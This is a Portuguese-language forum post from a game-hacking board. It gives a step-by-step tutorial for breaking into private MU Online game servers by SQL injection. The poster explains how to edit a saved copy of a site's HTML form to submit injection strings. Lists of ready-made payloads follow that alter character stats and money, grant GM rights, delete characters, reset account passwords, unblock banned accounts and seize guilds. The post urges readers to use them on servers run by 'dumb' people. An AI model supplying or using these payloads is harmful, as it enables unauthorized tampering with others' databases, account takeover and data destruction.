InícioPortalCalendárioGaleriaFAQBuscarMembrosGruposRegistrar-seLogin

Compartilhe | 
 

 Invadindo server por sql Injection

Ver o tópico anterior Ver o tópico seguinte Ir em baixo 
AutorMensagem
RiderADM
Admin


Mensagens : 179
Data de inscrição : 05/02/2009
Idade : 21

MensagemAssunto: Invadindo server por sql Injection   Seg Abr 06, 2009 10:15 am

+
----
-INVADINDO SERVERS POR SQL INJECT

CÓDIGOS

' UPDATE Character Set cLevel = '349' WHERE (Name = 'LuKer')--
' UPDATE Character Set Reset = 9 WHERE (Name = 'LuKer')--
' UPDATE ' DELETE Character = 9 WHERE (Name = 'LuKer')--
' UPDATE Character Set Dexterity = 5000 WHERE (Name = 'LuKer')--
' UPDATE Character Set Energy = 25000 WHERE (Name = 'LuKer')--
' UPDATE Character Set Strength = 5000 WHERE (Name = 'LuKer')--
' UPDATE Character Set Vitality = 5000 WHERE (Name = 'LuKer')--
' UPDATE Character Set Money = 1000000000000 WHERE (Name = 'LuKer')—

O “Name” eh seu login entao bote o nome do CHAR no lugar de “LuK”
O primeiro codigo eh para você editar seu level, entao onde estah 349 eh o seu level, se você preferir pode modificar
O segundo eh de reset o “9” eh o numero de resets q você terá
O terceiro ainda estou pesqisando sobre
O quarto aumenta a agility o 5000 eh o tanto
O quinto eh energy
O sexto eh Força (strenght)
O setimo eh vitalidade
O oitavo eh dim dim

[Bom agora q jah sabemos os codigos vamos a diversaum

1-) Va na pagina do MU que você quer invadir.

2-)Va
para alguma seçao do site aonde ocorra troca de informaçoes entre o
site e o SQL (cadastro, reset, reset PK, Trocar Senha) clique com o
botao direito do mouse na pagina e vá em “Exibir o código fonte”

3-)Aperte
Ctrl+F e digite “form” sem aspas. Dependendo do site, poderá haver
mtos, mas vai clicando até localizar um form q tenha algo parecido com
isto: esse pkresetdone muda de acordo com a opçao do site q esta relacionado com SQL você escolher

4-)Perto
do FORM tem um ACTION e um poco mais a frente um “=”, agora volte no
site e nas areas onde pede login, char e senha ponha qualquer coisa e
clique em submit, vai aparecer uma mensagem como na imagem falando que
não existe essa conta, relaxem, isso faz parte do processo agora cliqe
com o botao direito e va em propriedade desse novo site aberto, nas
propriedades tem u
11 dez (6 dias atrás)

CONTINUAÇÃO

4-)Perto
do FORM tem um ACTION e um poco mais a frente um “=”, agora volte no
site e nas areas onde pede login, char e senha ponha qualquer coisa e
clique em submit, vai aparecer uma mensagem como na imagem falando que
não existe essa conta, relaxem, isso faz parte do processo agora cliqe
com o botao direito e va em propriedade desse novo site aberto, nas
propriedades tem uma parte q vai tar escrito a URL do site ex.
muqualqer.no-ip.org:8090/pkresetdone.php

5-)Agora copie a URL
que você conseguiu pegar no passo anterior e volte no codigo fonte do
site (passo 3) e cole a URL no lugar onde estava “pkresetdone.php”

6-)Agora,
ainda no codigo fonte aperte Ctrl+F e procure por maxlength, sendo q ao
seu lado tem um = e um numero(esse pode varia entre varios) você tem q
aumentra esse numero, apague-o e ponha 99999999, voce precisa aumentar
apenas o primeiro maxlength

7-)Agora salve o Codigo fonte como
HTML va em arquivo/Salvar Como ex. o nome do arqivo eh
opties_pkresets[1] entao você adiciona o .html e ficará assim:
opties_pkresets[1].html

8-)Agora abra o arqivo q você acabou de salvar e de OK

9-)No login ponha o codigo que você deseja

10-)De submit e Pronto!

Obs.
Dah Certinho...funfa perfeitamente...agora lembrem-se existem pessoas
espertas e burras...portanto usem em servers de pessoas burras
11 dez (6 dias atrás)

CONTINUAÇÃO



Comandos de SQL Injection

' UPDATE warehouse Set items = 0x WHERE (accountid = 'Cris{BK}')-- (CRIAR ITENS)
' UPDATE ' DELETE Character = 9 WHERE (Name = 'Cris{BK}')-- (DELETAR CHAR)
' UPDATE Character Set Money = 1000000000000 WHERE (Name = 'Cris{BK}')-- (Por zen)
' UPDATE Character Set CtlCode = 8 WHERE (Name = 'Cris{BK}')-- (POR gm ¬¬)
' UPDATE Character Set SET memb_pwd = 'SENHAAA' WHERE (WHERE memb_id = USERRR)-- (Mudar Senha)
' UPDATE Character Set Experience = '3000000' WHERE (Name = 'Cris{BK}')-- (Mudar a experiencia do char)
' UPDATE Character Set cLevel = '897' WHERE (Name = 'Cris{BK}')-- (Editar level)
' UPDATE Character Set Strength = 25000 WHERE (Name = 'Cris{BK}')-- (Editar Força)
' UPDATE Character Set Energy = 25000 WHERE (Name = 'Cris{BK}')-- (Editar Energia)
' UPDATE Character Set Dexterity = 10000 WHERE (Name = 'Cris{BK}')-- (Editar Agilidade)
' UPDATE Character Set Vitality = 25000 WHERE (Name = 'Cris{BK}')-- (Editar Vitalidade)
' UPDATE Character Set Reset = 100 WHERE (Name = 'Cris{BK}')-- (Editar Reset)
' DELETE Character WHERE (Name = 'Cris{BK}')-- (Outro de deletar)
' UPDATE Character Set MapNumber = '6' , MapPosX = '63' , MapPosY = '1' , WHERE (Name = 'Cris{BK}')-- (Mover o Char)
' UPDATE Character Set Class = 8 WHERE (Name = 'Cris{BK}')-- (Mudar a Classe)
Classes:
DK = 16
DW = 0
Elf = 32
BK = 17
SM = 1
ME = 33
MG = 48
DL = 64
11 dez (6 dias atrás)

CONTINUAÇÃO



' UPDATE Character Set Life = 100 WHERE (Name = 'Cris{BK}')-- (Mudar Life)
' UPDATE Character Set MaxLife = 100 WHERE (Name = 'Cris{BK}')-- (Maximo de Life)
' UPDATE Character Set Mana = 100 WHERE (Name = 'Cris{BK}')-- (Mudar Mana)
' UPDATE Character Set MaxMana = 100 WHERE (Name = 'Cris{BK}')-- (Maximo de Mana)
' UPDATE Character Set PkLevel = 3 WHERE (Name = 'Cris{BK}')-- (Muda Level de PK)
' UPDATE Character Set PkTime = 2 WHERE (Name = 'Cris{BK}')-- (Muda tempo de PK)
' UPDATE Guild Set G_Score = 100 WHERE (G_Name = 'Cris{BK}')-- (Edita pontos da guild)
' UPDATE Guild Set G_Name = 'Rush' WHERE (G_Master = 'Cris{BK}')-- (Edita o nome da guild sem perder os membros)
' UPDATE Guild Set G_Master = 'Rush' WHERE (G_Name = 'Cris{BK}')-- (Muda o lider da guild)
' UPDATE EVENT_INFO Set Point = 5000 WHERE (CharacterName = 'Cris{BK}')-- (Mudar pontos da DS)
' UPDATE MEMB_INFO Set bloc_code = 0 WHERE (memb___id = 'Cris{BK}')-- (Desbloquear Account)
' UPDATE Character Set CtlCode = 0 WHERE (Name = 'Cris{BK}')-- (Desbloquear Char 1=BLOC 0 = Normal 8GM 24adm )
' UPDATE Character Set LevelUpPoint = 240 WHERE (Name = 'CrisBK')-- (Edita Pontos pra Add)
11 dez (6 dias atrás)



BOM GENTE NAUM PRESSISA SER MTO ESPERTO PRA

FASER ISSO EU FIS E CONCEGUI UM MONTE DE VESES

BOM AGORA É COM VCS

ESPERO TER AJUDADO!!!
Voltar ao Topo Ir em baixo
Ver perfil do usuário http://rider-hacks.forumeiros.com
 
Invadindo server por sql Injection
Ver o tópico anterior Ver o tópico seguinte Voltar ao Topo 
Página 1 de 1
 Tópicos similares
-
» Duvida Server/Client multiplayer inline
» Nome invadindo espaço da foto
» Chatbox invadindo com codigo javascript e nao consigo remover
» SCRIPT PARA LIMPAR LISTA NO DHCP SERVER EM LEASES
» como libera porta no mikrotik para criar um server de counter strike ???

Permissão deste fórum:Você não pode responder aos tópicos neste fórum
 :: Hacks :: Hacks De Jogos :: MuOnline-
Ir para: